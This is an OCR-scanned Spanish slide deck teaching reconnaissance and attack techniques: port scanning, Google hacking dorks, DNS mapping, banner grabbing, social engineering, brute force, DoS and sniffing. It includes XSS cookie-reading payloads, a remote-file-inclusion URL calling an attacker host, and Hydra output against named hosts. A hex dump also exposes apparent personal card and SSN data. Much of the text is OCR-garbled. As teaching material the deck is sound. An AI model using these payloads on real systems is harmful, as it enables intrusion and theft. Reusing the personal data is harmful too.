DATOS DATOS DATOS DATOS

§ 3 8 3

Recoleccidon

w

|

INFORMACION
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Técnicas y Metodologias

Information Gathering

Port Scanning

El port scanning, en espafiol “Escaneo de Puertos”, es un tecnica para
identificar los estados de los puertos del sistema :

Abierto
Filtrados
Cerrados

Para ello se puede utilizan herramientas automaticas, para detectar
rapidamente el estado del puerto o de forma manual, lo que
tardariamos mucho mas tiempo de lo estimado.
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Técnicas y Metodologias

Port Scanning

Herramientas Automaticas

s O WINDOWSh System 32 cmd.exe

Microsoft Windows HP [Version 5.1.268681]
CG» Copyright 1985-2801 HMicrosoft Corp.

C:sDocuments and Settingssjuaninmap —=sT localhost -PA

Starting Mmap 4.28 ( http:- insecure.org > at 2007-02-23 18:43 Hora est. de Suda
mirica E.
Interesting ports on localhost <127 .B.8.1>:
Mot shouwn: 1678 closed ports

STATE SERVICE

opeEn mMEPpCc

open ldap

open microsoft—ds

open windows—icfw

open HFS—opr—IIS

open H.323-0.931

open UPnP

Mmap finizhed: 1 IP address <1 host wup? scanned in 358.004 seconds

C:sDocuments and Settings“juan
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Técnicas y Metodologias

Port Scanning

Forma Manual

Ejemplo:

telnet localhost 135
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Técnicas y Metodologias

Teécnicas de Port Scanning mas utilizadas

> TCP SYN
> TCP ACK
» TCP window

Scanner

» TCP connect()

» UDP Scan
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21 FTP TCP

Cerrado

23 Telnet TCP

Abierto

53 DNS UDP

Abierto

80 HTTP TCP




Técnicas y Metodologias

TCP SYN Scanning

Este es uno de los tipos de sondeo mas utilizados p  or su:
v velocidad

v sigilio

Es sigiloso por el simple hecho de que nollegaac  ompletarse
una conexion TCP.
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Técnicas y Metodologias

¢Por qué TCP SYN Scanning es sigiloso?

Conexion TCP Normal

Cliente Servidor
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Técnicas y Metodologias

¢Por qué TCP SYN Scanning es sigiloso?

TCP SYN Scanning

Cliente Servidor

S
syn ack=Xr L sed™

No se produce
una conexion
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Técnicas y Metodologias

TCP SYN Scanning

Puerto Abierto

SYN ‘
) SYN/ACK
) \ RST | |
£ - \
Puerto Cerrado
SYN
RST/ACK
/,’; x\{\ /,” “c\
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Técnicas y Metodologias

TCP ACK Scanning

Este tipo de sondeo no sirve para saber si un puert 0 esta
abierto o cerrado, sirve para mapear reglas de firew allsy
para determinar si son cortafuegos con inspeccion d e
estados.

Si el target responde con un RST significa que hay n o0 esta
siendo filtrado por un firewall, por lo que cuando un ACK
es enviado, la respuesta del mismo es un RST,enel caso
de estar filtrado los flags ACK no llegan al objetiv. o, por lo
gue no hay respuesta.
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Técnicas y Metodologias

TCP connect() Scanning

Se utiliza al no poder usar el escaneo TCP SYN, por
motivos de privilegios de usuarios o porgque se esta
escenando redes IPV6.

Es un sondeo detectable, por lo que no es

recomendable su uso, ya que establece una conexion
completa TCP.
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Técnicas y Metodologias

TCP connect() Scanning

Puerto Abierto

SYN ‘
) SYN/ACK
| \ ACK ‘ | |
L i\ RST/ACK L D
Puerto Cerrado
SYN
RST/ACK
[ e
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Técnicas y Metodologias

TCP window

Este tipo de escaneo examina el campo de la
ventana TCP en una respuesta RST, porque
algunos sistemas operativos fijan un tamano de
ventana positivo para puertos abiertos.

No es muy fiable porque una minoria de los
sistemas tienen estos defectos.
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Técnicas y Metodologias

UDP Scan

Es un escaneo lento.
Muchos auditores lo omiten.
Funciona enviado una cabecera UDP (sin datos) para cada puerto

Si existe una respuesta ICMP Error tipo 3 (codigo 3) el puerto se
encuentra cerrado

Si existe una respuesta ICMP no alcanzable tipo 3 (codigo 1,2,9 0 10)
existen muchas posibilidades de que el puerto este filtrado.

Si no hay respuesta, el estado del puerto es abierto.
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Lista de algunos puertos de Unix

Echo 7
Davtime 13
fqotd (Quote Of The Dayd 17
FTP-data 200
FTP 21
=55H 22
Telnet 23
SMTP (Sirmple Mail Transfer Protocaol) 20
Time server a7
Whois 473
OrE (Domain Mame System) a3
TFTP iTrivial File Transfer Protocaol) 69
Finger 79
HTTP (Hypertext Transfer Protocol) a0
FOP2 (Fost Office Protocal 2) 1049
FOP3 (Fost Office Protocal 3) 110
Fortmapper 111
[dent 113
MMTP (Metwork Mews Transfer Protacal) 114
MTF (Metwork Time Protocol) 123
Samba 137-9
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Lista de algunos puertos de Windows

FTF (default data channel) 20
FTF {control channel) 21
Telnet 23
WWhais 43
Damain Name System 53
Bootp server b7
Bootp client b
Trivial FTF RS
(Gopher /[
HTTF gl
lerberos 85
FPOP-2 (FPost Office Protocol) 109
FOP-3 110
MMTP (Metwork Mews Transfer Protocol) 1159
MTP (Metwork Time Protocol) 123
MT RPC endpoint mapper 135
MetBlI0S Mame Service 137
MetBIOS Datagram Service 138
MetBlI0S Session Service 1359
IMAP (Internet Message Access Protocol) 143
ShP 161
LEUIUvU puUI €1 aulul a vwvvvv.seyu-inu.culll.cai
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Verificacidon de maquinas vivas: Anqgry IP Scanner

% Angry IP Scanner Z.21 5] x|
File @oto Commands Favorites Options Ukils  Help

Prange: | 200 . 32 . 4 . 0 g | 200. 32 . 4 . 254 Qsmt|

Hostranne: Ipenetralion testar ﬂl EI EI | Threads IT s

IP lbil Ping ibil Hostname @il[ﬁomp. Ma... ibil Group Ma... ibil Izer Mame lbil MAC Addr... ﬂ;l
‘ 200324230 140ms 200-32-4-2730. shatkic.prima. net. ar M M A [EEY RE

. 200324230 173ms: 200-32-4-231 static.prima. net. ar M N N RE
.200.32.4.232 Dead NS NS NS N5 M5
.200.32.4.233 Dead NS NS NS N5 M5
.200.32.4.234 Dead NS NS NS N5 M5

. 200324235 164 ms 200-32-4- 235 static.prima. net. ar M M LR LR

. 200324236 Dead NS N/S N/S M5 M5

. 200.32.4.23F  Dead NS NS N/S W45 M5

. 200324238 Dead N/S N/S N/S N5 M5

. 200324239 Dead NS NS M/ M5 M5
.200.32.4.240 Dead NS NS M/ W45 M5
.200.32.4.241 Dead NS NS M/ W45 M5

. 200324242 130 ms SIA-TIFEr Yy 3. Prima. fet. ar AR A Az AL

. 200324243 1F ms sw-melba. prima. net. ar R A I e VR 1A

. 200324244 124 ms sw-dora. prima.net. ar R A h A R R

. 200324245 119ms sw-mailu. prima. tet. ar R A [P A 1A

. 200324246 115 ms SW-irta. prima. ret. ar R I A A% 1A

. 200324247 128 ms sw-miranda. prima. net. ar R [P A [RR

. 200324248 141 ms SW-mariana. prima. net. ar R A A% 1A

. 200324243 120ms sw-marka. prima. com. ar AR h A A% A4

. 200224250 13 ms sw-milea. prima. corm. ar AR h A Az A4

. 200.32.4.251 160 mz SIN-MOTA. Prima, corm. ar A R A2 M4

. 200324252 13 ms siw-mabel prima. corn. ar AR A Az AL

. 200324253 102 ms sw-malena. prima. cam. ar R A I e VR 1A

. 200324254 110ms SW-MMaCalena. prima, o, ar R A I R I A -
1| | 3

|H eady

UMY YU UL AUV W VUV WV D U T s Al




Técnicas y Metodologias

Information Gathering

Deteccion de Servicios Activos

Cada puerto posee un servicio determinado:

21 TCP FTP

22 TCP SSH

23 TCP TELNET
25 TCP SMTP
53 UDP DNS

80 TCP HTTP
110 TCP POP3
139 UDP/TCP NetBios
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Deteccion de Servicios Activos

Por cada puerto podemos identificar que servicio utiliza.

Recolectando los banners que algunos puertos envian ante una conexion
completa, se pueden identificar no solo el servicio sino por defecto la
version del mismo.

Ejemplos: 220 soportel Microsoft FTP Service (Version 5.0).

Las herramientas automaticas de escaneo/sondeo de puertos por defecto
te reportan el servicio y en algunos casos existe la posibilidad de visualizar
la version del software.

Es posible detectar y buscar masivamente un servicio a través de una
busqueda avanzada en google.

Squirreltail - Lodgin- [ Traduzca esta pégina |

sguirrelbdall Logo SquirrelMail version 1.4.5 By the SquirrelMail Development Team.
sguirrelbdail Login. Mame:. Passward:. Enter your Rutgers-1D here: ...
olddavidhume. rutgers. edufsquirrelmail/src/login.php - 4k - En cache - Paginas similares
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Information Gathering

Deteccion de Sistema Operativo

Cada SO ( Sistema Operativo) posee puertos especifi  cos,
con lo cual es muy posible detectar que tipo de Sis  tema es.

Existen herramientas de deteccidon de Sistemas
Operativos. Esta es una de las opciones fiables del
mercado.

A través de los Time To Live (TTL) de las cabeceras TCP
gue responde un sistema, se puede detectar que sist ema
es, ya que por defecto cada sistema utiliza diferen  tes TTL.
Aunque no es un metodo muy fiable.

Obteniendo el banner del servidor Web.
SEeserver: Apaches2.8.54 (Linux/SUSE>
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Obtencion de huellas en Internet usando los
sitios de consulta de registros de Internet.

Entre los datos que podemos obtener estan:
Datos del registrador de Internet.
Informacion organizativa.

Servidores del sistema de nombres de dominio.

http://www.nic.pa
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Obtencion de huellas en Internet usando los
sitios de consulta de registros de Internet.

Base de Datos

ARIN (American Registry for Internet Numbers).

APNIC (Asia Pacific Network Information Center).

LACNIC (Latin America and Caribbean Internet Addresses Registry).
Otros.

Search ARIN WHOIS for;

Need Help? | Search WHOIS
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Google Hacking

Operadores Avanzados de Busqueda:

Site: dominio

Inurl: path

Filetype: xls|doc|pdf|mdb|ppt|rtf]...
Intitle: string

Intext: string

Otros
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Google Hacking - ¢ Como Buscar?

Google Hacking Database < johnny.ihackstuff.com >

Lista de Directorios:
Intitle:index.of ‘parent directory’
Intitle:index.of.admin
Intitle:index.of inurl:admin

Mensajes de Error:

‘Warning: Failed Opening’ include_path

‘Fatal error: call to undefined function’
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Google Hacking - ¢ Como Buscar?

Google Hacking Database < johnny.ihackstuff.com >

Busqueda de Buckups:
Filetype:bak inurl:pgp.bak

Inurl: backups

Busqueda de vulnerablidad:

Inrul: path vulnerability
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Footprinitng Google

Direccion de Correo de Empleados: @<target>

Site:target intitle:index.of
Site:target error | warning
Site:target login | logon
Site:target username | user
Site:target admin | administrator
Site:target password

Site:target backup
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IP-1D Idle Scan

Idle Scan es una técnica de escaneo de puertos
totalmente anonima, utilizando una maquina con
IP-1D predecibles para usarla como Zombie.

Enviar ACK/SYN - Zombie
Investigar IPID predecible

Verificar multiples veces para identificar la calidad del Zombie
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IP-1D Idle Scan

SYN/ACK
RST: IPID=N
SYN/ACK
RST: IPID=N+1
SYN/ACK |
I ) RST: IPID=N+1 I )
Hacker < Zombie
SYN/ACK

RST; IPID=N+1

v

A

A

v

v

A

N+1 ES PREDECIBLE

Cedido por el autor a www.seqgu-info.com.ar




Técnicas y Metodologias

IP-ID Idle Scan - ¢ Como Funciona?

Se envia un Flag SYN a la victima, pero con la IP espofeada.

Si el puerto esta abierto la victima envia un SYN/ACK al
Zombie.

El Zombie envia un RST e incremente el IPIP.

acker || ]

Zombie

J SYN — IP Zombie

—_—
Obijetivo
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IP-ID Idle Scan - ¢ Como Funciona?

Si el puerto esta cerrado la maquina objetivo envia un flag RST
a la maquina Zombie.

acker || ]

RS! Zombie

J SYN — IP Zombie

L]

—_—
Obijetivo
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Consulta de Registros DNS

SOA: Indica los servidores que tienen autoridad para el dominio.
MX: Lista los dominios mail exchanger server.

NS: Lista los dominios de un host.

SRV: Lista los servicios locales.

HINFO: Informacion de Host.

TXT: Texto genérico

RP: Persona responsable del host.

Herramienta: nslookup
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DNS Mapping

DNS Mapping es un técnica utilizada para verificar dominios ocultos de
un servidor a través de peticiones DNS.

Dominio Web Publico

http://www.sitio.com

Dominio Web Privado

http://gestion.sitio.com
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DNS Mapping

ftp2.quilmes.com.ar 288.32.4.157
wsap.quilmes.com.ar 167.252.151.6
ftp.quilmes.com.ar 2800.32.4.158
nzl.quilmes ..com.ar 16%7.252.151 .33
ns2.quilmes .com.ar 16%7.252.151.35

proxy.gquilmes .com.ar 16°7.252.151 .58
web.quilmes .com.ar 16°7.252.151.2
vuw.quilmes .com.ar 2868.32.4.157

Rezolved names:
Failed querie=z: 366
Total gueries: 374

DNS Mapping con TXDNS http://www.txdns.net

Utilizacion de wordlist

Cedido por el autor a www.segu-info.com.ar




Técnicas y Metodologias

DNS Reverse Lookup

La técnica del DNS Reverse Lookup o Busquedas
Inversas son una forma de obtener nombres de maquinas
partiendo de direcciones IP.

Si un hacker conoce que blogues de direcciones posee un
dominio, podra realizar busquedas inversas sobre cada
una de esas direcciones IP y obtener todos los nombres
de las maquinas.
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Obtencidn de huellas verificando errores de directorios

Algunos servidores al responder una peticion de directorio invalida,
responden con informacion sumamente util para identificar el servidor en
el cual esta corriendo.

Error HTTP 404 - No se encontrd el archivo o directorio,
Servicios de |Internet Information Server (I1I5)
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Obtencidn de huellas verificando directorios sensibles

v

v [admin
v [cgi-bin

v [scripts

suario;

Claye:

v /login
v Jusers

Inoresar
v" Oftros J
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Captura de cabeceras

La informacion de cabecera puede revelar el tipo de software en
uso y posiblemente también el sistema operativo. Aunque no es
una informacioén abrumadoramente sensible, puede anadir una
gran eficiencia al ataque.

TELNET IP 80 | HEAD / HTTP/1.0

L

HTITP-1.8 288 0K

Date: Sat,. 24 Febh 20687 17:88:27 GMT
Content—Length: 84281

Content-Type: text-shtml

Expires: Sat, 24 Feb 28087 17:680:27 GMT

Cache—Control: private

Server: Microsoft-IIS5/5.8

MicrosoftQff icellebServer: 5.0_Pub

A—Powered-By: ASP.MET

Set—Cookie: ASPSESSIONIDAARDQTAD=0HABJBPDLGMOMMHMLEMFFBFI; path=/
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Captura de cabeceras
h Y

HTTP-1.8 208 OK

Date: Sun, 25 Feh 2087 28:16:81 GMT

Content-Type: text/html

Expires: Sun, 25 Feh 2007 28:16:81 GMIT

Cache-Control: no-store, no—cache, must-revalidate, post-check=8, pre-check=#
server: Apaches1.3.29 {Unix) Sun—ONE-ASP/4.8.0

Pragma: no-cache

Set—Cookie: PHPSESS=7d6%hceeB8?52fed5elehdd57febh?ebl?; path=/

HTTP-1.8 288 0K
Accept—Ranges: hytes
Date: Sun, 25 Feb 20887 208:16:15 GMT

Content—-Length: 148

Content—-Type: text- html

#—Pad: work around browser hug

Server: IBM_HTITP_Server

Lazt—Modified: Wed, 17 Jul 26886 B81:14:-14 GMT
ETag: '"'51816-8c—fh4425818"

Vary: Accept—Encoding.User—Agent
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Captura de cabeceras

JUNK /HTTP/1.0
HEAD / HTTP/1.0
OPTIONS /HTTP/1.0
HEAD / HTTP/1.0
GET /HTTP/1.0

Herramientas: Netcat o Telnet

telnet 127.0.0.1 80
nc 127.0.0.1 80
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Import socket, httplib
servidor = raw_input("HOST/IP: ")
I = raw_input("Method: ")
y = raw_input("Inject: ")
px = socket.socket(socket.AF_INET,socket. SOCK_STREAM)
try:
method = i
inject =y
conn = httplib.HTTPConnection(servidor)
conn.request(method, y, "HTTP/1.0")
response = conn.getresponse()
print "
print "HTTP Injecting... [%s]" %i, "[%s]" %y

print response.status, response.reason, response.msg

data = response.read()

conn.close()

O] ] B
except:

px.close()
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Web Fingerprinting

Herramienta: HTTPrint

Site: http://net-square.com

Hiost Fuort ﬁ Banner Reparted Banner Deduced
4 WAL 1 3. 0rg a0 |:| Spaches1.3.37 [Unix) PHP/4.4.5 Apaches1.3[1-3]. Apaches/1.3.[4-24], Ap...

|

Apache/1.3.37 (Unix) PHP/4.4.5
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Captura de cabeceras para identificar Servicios

220 zoportel Microsoft FTP Service (Uersion 5.8).

220 mx2 .elserver.com ESMIP

Cedido por el autor a www.segu-info.com.ar




Técnicas y Metodologias

Ingenieria Social

El proposito de la Ingenieria Social es conseguir, mediante falacias y
engafios, que alguien facilite la informacion necesaria para poder llevar
a cabo posteriores ataques.

Este técnica es muy utilizada y es una de las principales amenazas, ya
gue incide en el factor humano, y dentro de una estructura de seguridad,
el mayor porcentaje que falla es siempre el “Factor Humano”.
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Tipos de Ingenieria Social

» Autoridad Falsa

» Suplantacion

» Compasion

» Implicacion Personal

» Profesiones poco sospechosas
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Autoridad falsa

Este tipo de Ingenieria Social se logra simplemente
convenciendo a la victima de que estan en una posicion
en la que esa informacion les es necesaria.

Por ejemplo: diciendo que son un superior.

En empresas muy grandes, con muchas sedes, es muy
probable que un empleado no conozca a todos sus
superiores.
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Suplantacioén

La suplantacion es como la “ingenieria social de
auritdad falsa” en la un hacker adopta la personalidad
de un individuo que realmente exise.

Mayormente para esto se utilizan comunicaciones via:
» Chat
» Teléfono

» Mensaje Instantaneo
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Compasion

Este es uno de los métodos mas infalibles que consiste
en hacer ver a la victima que necesita urgentemente lo
gue esta pidiendo, para de esa forma hacerle sentir
compasion y que se sienta obligado a ayudarlo.

Este método de la compasion la utilizan millones de
personas en sus vidas diarias.
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Implicacion Personal

La implicacion personal define al método de ingenieria
social en el que se obtiene la cooperacion de un
individuo mas facilmente cuando se inventa una

historia en la que implique al individuo. Mientras mas
problemas tenga la victima, mas facilmente tendra
cooperacion el hacker.
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Profesiones poco sospechosas

Muchos utilizan como método para acceder a un area
reservada haciéndose pasar por alguien de por ejemplo, la
compafia de teléfono o eléctrica.

Para esto utilizan trajes y accesorios de la profesion que
dicen ser. Es muy probable que después de un estudio de
Inteligencia por parte de los hackers, engarfien a alguien del
edificio diciendo qué es un nuevo empleado y no sera
reconocido por nadie.
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Archivos Publicos

* .com.ar/robots.tyt - Microsoft Internet Explorer = IQ .=l
frchiva  Edicisn  ¥er  Favoritos  Herramientas  Ayuda | t’
; 1) 12 2| Diseds. P revaon e 8| G- 1 =3
@ Akras o~ e |ﬂ @ h P Blisqueda 5. Favoritos eMuItn'nedla {3: (g 5 i__.‘J
Direccion %j itk f e 550 com. arfrobats, Ext j Ir

User-agent: * . -, .
Disallow: fedministrators » Autenticacion del admin.
Dizallow: /focaches/

Dizallow: /ocomponenta/

Dizallow: feditor/

Disallow: /fhelp/

Dizallow: /images/

Disallow: fincludes/

Disallow: /language/

Disallow: /manbots,

Dizallow: /medis/

Dizallow: /modules/

Dizallow: /ftemplatez/

Dizallow: finstallation/

|i&] Listo I_ I_ ’_ |4 Internet
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Archivos Publicos

com.ar/robots.tut - Microsoft Internet Explorer =18] %]
Archiva: Edician  Wer  Favorites  Herfamientss .  Ayuda ‘ r-?
@.ﬂtrés - @ - E @ r'h ‘,_7 Bisqueda '\;}i-’ Favoritos eMuItimedia- {3}‘ [_f* |_I?.— m | J
Direccion %&jhttp:jjwww.!,_;.:f Srzcom,atfadrministr akor j 0

User—-agent: *
Dizallow: fadministrator/

Dizallow: fcomponents/ @
Disallow: feditor/ \EFe
Lisallow: Afhelp/ 'li'ﬁ :%‘
Disallow: fimages/ ol )

Disallow: fincludes/

Disallow: /language/ Requiere Autorizacion ||

Disallow: /mambotsz/

Disallow: /media/ Usuario: |€ |
Disallow: /modules/ _

Dizallow: Stemplates/ S I

Digallow: finstallation/s (Wl e e

Aceptar I Cancelar

] Abriendo pagina http: et w.com. arfadministrator)... [ ] ’_ ’_ ’_ @ Internet
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Verificacion de Carpetas

/73 403 Forbidden - Miceosoft Internet Explorer 1= x|
frchiva  Edicisn  Yer Favoritos  Herramientas  Ayuda ‘ 3"
@F\trés - I\-) e Iﬂ @ x'h J:‘] Biisqueda ‘*srn? Favoritos: erﬂultimedia- €}| L-':v .;.__‘ *'3 . J

Dirageion ] htep:/fwsap, .corn.atfegi-hing j Ir

Forbidden

Tou don't have permission to access fogi-bind on this server,

Apacker2.0.50 (Unix) mod_ssif2.00.50 CpanSSLI00. 7d Server at weap.. soownar Fort 80

|&] Listo l_ l_ l_ | Internet
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Datos Sensibles en el Cbédigo Fuente

- Microsoft Internet Explorer =18 ]
Archive:  Edicion Wer  Faworibos  Herramientas  Awvuda ‘ ¢ ol
; i ) ) — I 7 _1 : e ) ) : .‘ ‘ 3, '.—-__ | (
@ Akras \..d; |ﬂ Ig h J Bisqueda 5. Favoritos a" Multimedia {;- =i [-__11 |
Direccian Ej https:}wsap T, com j Ir

Datos Sensibles

Consulta para Proveedores

Numero de Proveedor |

Password |

i x|

archive  Edicidn  Formato  Wer  Avuds

1 F
This page was created by the ]
V HP< d SAP Internet Transaction Server (ITS, Version 6200.1008.35216.0, Build 622997, wirtual server
ersion de A11 rights reserved.
< Creation time: wed Feb 28 17:31:31 2007
|a Charset: is0-8859-1
Template: ZprovarMes/sapmzpagoswww_100. htm]l  —-»
. .,
Aplicacion || - - T
i SAPMZRAGOWWW_100 ———————mm >
Web <l== gste archivo wa en Tamplates —o- oo o > -
1| | AW
1] L

I&] I_ I_ |E|_ |4 Internet
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Cross Site Scripting

Cross Site Scripting es una técnica de inyeccion de
codigo en un sitio en el cual posee un error validacion de
codigo.

Esto logra que la modificacion se ejecute del lado del
cliente:

Es utilizado para:

Robo de Cookies
Manipulacion de Cookies
Redireccion Web

Modificacion Web
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Cross Site Scripting

Se puede inyectar:
v  HTML

v JavaScript
v VBScript
v Flash

v~ Otros lenguajes (client-side)
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Cross Site Scripting

Una de las formas de verificar si un sitio o Servidor web es
vulnerable a esta técnica es verificar la respuesta del mismo
ante una inyeccion de codigo.

Eiemplo de inyeccidn JavaScript

http://www.sitio.com/variable=<script>alert(‘XSS’);</script>

Resultado

Microsoft Internet Explo |

Q ®a5
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Cross Site Scripting

Verificacion de Cookie utilizando inyeccion JavaScri pt

http://www.sitio.com/variable=<script>alert(document.cookie);</script>

Microsoft Internet Explorer x|

' E ASPRESSIONIDQCRERTTE=EODEOOIAIGIDEEFOFIFIBFEE
.
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Cross Site Scripting

Este tipo de atagues se dan en:

»Mensajes en Foros.
»Firma de libro de visitas.
»Contactos a través de Web.
»Correo Web.
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Remote File Inclusion (RFI)

Es una vulnerabilidad de paginas PHP dinamicas que

permite la redireccion de archivos remotos situados en otros
servidores.

Esta vulnerabilidad se da por una mala programacion o
utilizacion de la funcion include().

Eiemplo de Cddigo vulnerable:

$page =$ GET[page;

include($page);

Explotacion:

http://sitio.com/vulneable.php?page=nhttp://atacante/fichero
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Firewalking

Es una técnica para traspasar firewalls
(Cortafuegos) con valores TTLs estratégicos.

c0Oué es un Time To Live?

Un Time To Live es un campo en la estructura de un paquete
IP, que sirve para indicar por cuantos routers puede pasar el
paquete antes de ser descartado.

P Packet [5 TTL | — - . oo
Descartado

! ' ' ' !
RL R2 R3 R4 RS
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Firewalking

Los Time To Live (TTL) sirven para determinar la ruta de un paquete IP.

Los TTL se reducen en 1 cada vez que un paquete pasa por un router.

AWINDOWS' System32 cmd.exe

Microsoft Windows HP [Versidn 5.1.26081]
CC» Copyright 1985-2801 Microsoft Corp.

C:xDocuments and Settingssjuan>*tracert www.google.com

Traza a la direccidn www.l.google.com [216.239.37.971]
sobre un maximo de 38 saltos:

“ : gmsan
Salto 5, 20@8.51.233.168
. & s 2060.51.233.167
Flrewa” Tiempo de espera agotado para esta solicitud.
213 .148.38.78
g4.16.12.41
DeteCtadO 213 .148.52 .42

209 .85.138.16
66.249_95.126
2.14.232.1086
va—in—f??.google.com [216.23%9.37.991
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Brute Force

Brute Force es una técnica en la cual se usa un software para enviar
usuarios y contrasenas de forma directa y concatenadamente

verificando todas las variables posibles, para poder detectar usuarios y
contrasefias de acceso validos.

Hydra: http://www.thc.org

Brutus: http://www.hoobie.net/brutus/

Hydra v5.3 (c) 2086 by van Hauser / THC - use allowed only for legal purposes.
Hydra Chttp://www.thc.org) starting at 2007-82-25 17:53:38

[DATA] 4 tasks, 1 servers, 4 login tries (1:2/p:2), ™1 tries per task
[DATA] attacking service ftp on port 21

[STATUS] attack finished for www.chaco.gov.ar {(waiting for childs to finish)
[211[ftp] host: 209.13.114.2 login: anonymous  password:

[211[ftp] host: 209.13.114.2 login: anonymous  password: anonymous
Hydra Chttp://www.thc.orqg) finished at 2007-82-25 17:53:32
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Trashing

Trashing es lo que se denomina la accion de buscar en los
cubos de basura de una empresa.

Es muy utilizada por los hackers, y las personas no se
percatan del gran error de tirar “datos” a la basura, sin
antes destruirlos hasta gque no sean legibles.
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Trashing

La informacioén que se puede consequir:

v Apuntes

v NUumeros de Teléfono
v Documentos

v Reportes

v" Datos de usuarios

v Disquetes

v Notas
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Trashing: disqguete formateado vulnerable?

i =181 x|
,ﬂ;FlIe Edit Search Position Wiew Tools Specialist  Options: Window Help _|E|__!
FLHESEE | BB MRS Y | oREs | Oh om0 | B4 rHanE
Partitiohing tipe: unpartitionsd [loppusoperfloppy C0LDMD] - ) . [ filez; 1 partitiors
File: E.-:lit FiIenameA— IE—:{t. ISize IEre_ateu:I_' |I‘,-:I|:u:lifieu:|_' I.l’-'sccessed |;’-‘~
m-m‘:; s F'artltn:ln1 FAT.. 1EMEB
8 Bit [2): 22
8 Hit [+] 38
16 Bil [x]. 3500
16 EitH: 3200 4 | ]
o oom qb |01 0 J 4567 6948 cCbEF 1611EENGN &l
a8 () sa00043c | E4 |00 00 00 00 00 00 0O 00 00 0O 00 00 00 00 00 00 00 00 [
32.3“.['_'_]: 0000445 & |00 00 OO0 QO 0o 00 00 00 00 00 47 72 65 &7 BF 72 79 20 Gregn:lrl‘gr
B4 Bit [+ J00D0A457E0 PO 41 20 20 47 72 CF 72 72 0D 04 91 30 36 20 56 69 CE 65 | A, Gross 100 Vine
Bty 00111000 |4 |79 61 72 64 20 44 72 69 76 65 0D DA 4D 61 79 66 69 65 yard Drive Mavfie

Flaat: 335255835 PC | BC B4 20 48 65 B9 B7 BB 74 73 2C 20 4F 43 20 34 34 31 | 1d Heights, OH 441
Real 10970290779 FE | 32 34 0D 0OA 0D 0A 45 6D 61 69 6C 20 41 64 64 72 B5 73| 24 Enail Addres
Double: 1,06676062460) 10O 71 24 20 47 7?2 05 oY oF Y2 P70 ZE 41 20K 47 7Z oI Y1 ?1 | =: Gregorv.A.Gross

Long Dbl H&N ? 40 6D 61 69 AC 69 6E 61 74 6F 72 ZE 63 6F 6D 0D D& 0D @nailinator com
 ASM:CMP [ F4 DA S0 68 6F GE 65 3A 20 34 34 30 2D 34 34 36 2D 39 37| Phone: 440-446-97
D05 Date: 10/08/2014 6 30 37 0D DA 4D 6F 74 69 65 72 27 73 20 6D 61 69 64 65| 07 Mother's maide
01:41:48 ] ok 20 6L 61 6D 65 J& 20 44 05 G GF PO P2 G5 79 00O 70| nn nome: Delosreves
FILETIME: 112727725 | by | op pa 42 69 72 74 68 64 61 79 34 20 46 65 62 72 75 61 Birthday: Februa
i 9?151.313 - 72 79 20 35 2C 20 31 39 37 38 0D 0A OD D& 4D 61 73 74 | ry 5. 1978 Hast
[=1{=30l g Tu'n

CE |85 72 43 61 72 54 34 20 35 35 32 32 20 38 39 37 31 20| exrCoxrd: 5522 B971

.&N5|ED_|_' nja £0 37 32 31 37 20 3 32 28 38 0D 04 45 78 70 £9 72 6B 73| 7217 628 Empircs
) l:#: r2 |34 20031 31 2F 32 30 31 30 0D 04 0D 04 53 53 4E 34 200 : 11-2010 SSH:

£ Date 2041041999 d 132 36 39 2D 32 32 2D 36 39 32 39 0D 04 00 00 000 00 00 269-2Z-0329

EIEI"IE'IEI ’ 16 L o 1 S 1 o I 1 S W i WY N R U ¥
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War Dialing

Es el proceso de marcacion de lineas telefénicas
analdgicas en sucesion numerica, en busca de:

» Modems
» Faxes
» Otros
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War Driving

El nombre proviene de la técnica War Dialing.

War Driving consiste en la
busqueda de redes inalambricas
abiertas para luego publicarlas en
un sitio publico, involucra el uso
de un automovil y una
computadora equipada con Wi-Fi,
ya sea una laptop 0 una PDA,
para detectar las redes.
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War Walking

Es similar al War Driving, solo que en vez de buscar
redes Wi-Fi en auto, se buscan caminando.

Esta técnica esta siendo cada dia mas utilizadas, ya
gue los dispositivos portatiles con capacidades Wi-Fi,
son cada dia mas.

Entre ellos:
PDAs
Nintento DS
Sony PSP
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Denegacion de Servicio (DoS)

Los ataques de Denegacion de Servicio o Denial of Service
son ataques a ordenadores con el fin de dejar sin servicio al
Mismo para que usuarios no puedan acceder a él.

Esto se produce por la perdida de conectividad, por el
consumo que exige el ancho de banda y por la sobrecarga de
los recursos de la victima.
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Tipos de DoS

v’ Inundacion SYN (SYN Floods)
v Inundacion ICMP
v Inundadiéon UDP
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SYN Floods

Esto ocurre cuando se envian deliberadamente
muchos paquetes TCP/SYN, con la direccion de
origen falsificada en el algunos casos.

El ordenador al recibir una peticion de conexion, | a
responde, y al ser una direccion ip falsa, no llega a
destino. Esto lo que hace es desgastar los

recursos del ordenador. Ya gque esto sucede con
varias conexiones simultaneas.
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Inundacion ICMP

Este tipo de inundacion consiste en enviar varios
paquetes ECHO request de tamanos relativamente
grandes, logrando gue la victima responda con un
ECHO Reply lo que ocupara un ancho de banda
considerable y existira una sobrecarga en el sistema
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Inundacion UDP

Este tipo de ataque consiste en crear grandes

cantidades de paquetes UDP y enviarlos

sucesivamente al ordenador victima. Requiere que la
victima posea un puerto UDP abierto para este tipo de

ataque.
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DDo0S — Deneqgacion de Servicio Distribuido

Los DDOS son ataques:

» Coordinados
» En conjunto
» Altamente peligrosos

» Extremadamente anénimos.
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Sniffing

El sniffing es una técnica de andlisis de flujo de datos.
Sirve para:

» Auditar Redes

» Verificar el estado de encriptacion de los datos

» Auditar protocolos

» Recolectar datos sensibles
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9:42.803678 TP skylark.3558 > @Mmeoweitw.21: F 1:2(1) ack
+.c...P.CH™. ..
9:43.177872 1P S0 embietotnbell .21 > skylark.3558: . ack 2 win B

9:43.177872 IP skylapk.3558 > Spmeesteempmp 21: P 2:4¢2) ack User/password
¢+.c...P.CM....SE

9:43 563100 [P M iesfemettep®® 21 > skylark.3558: . ack 4 win
PO . —
9:43.563108 IP skylark.3558 > iifebdeddebel.21: P 4:6<2} ack
¢+.c...P.CM....R

9:43 865064 P M7eefemeitept .21 > skylark.3558: . ack 6 win
IC¢+.P.CL....

9:43.865064 IP skylark.3558 > Seegeusseli 21: P 6:9¢3) ack
C+.c...P.CM.U. _anD

9:44.162011 IP idienbdetsintell .21 > skylark.3558: . ack 9 win
I¢+.P.Cx....

9:44.162011 IP skylark.3558 > Siiebdeiiebeld. 21: F 9:10¢1) ac
C+.c...P.CHe...n

9:44.474006 [P S0 Jepsdemintuteefl .21 > skylark.3558: . ack 1@ win
I¢+.P.Cu....

9:44.474006 IP skylark.3558 > Sifebdediebel 21: F 10:11¢1> a
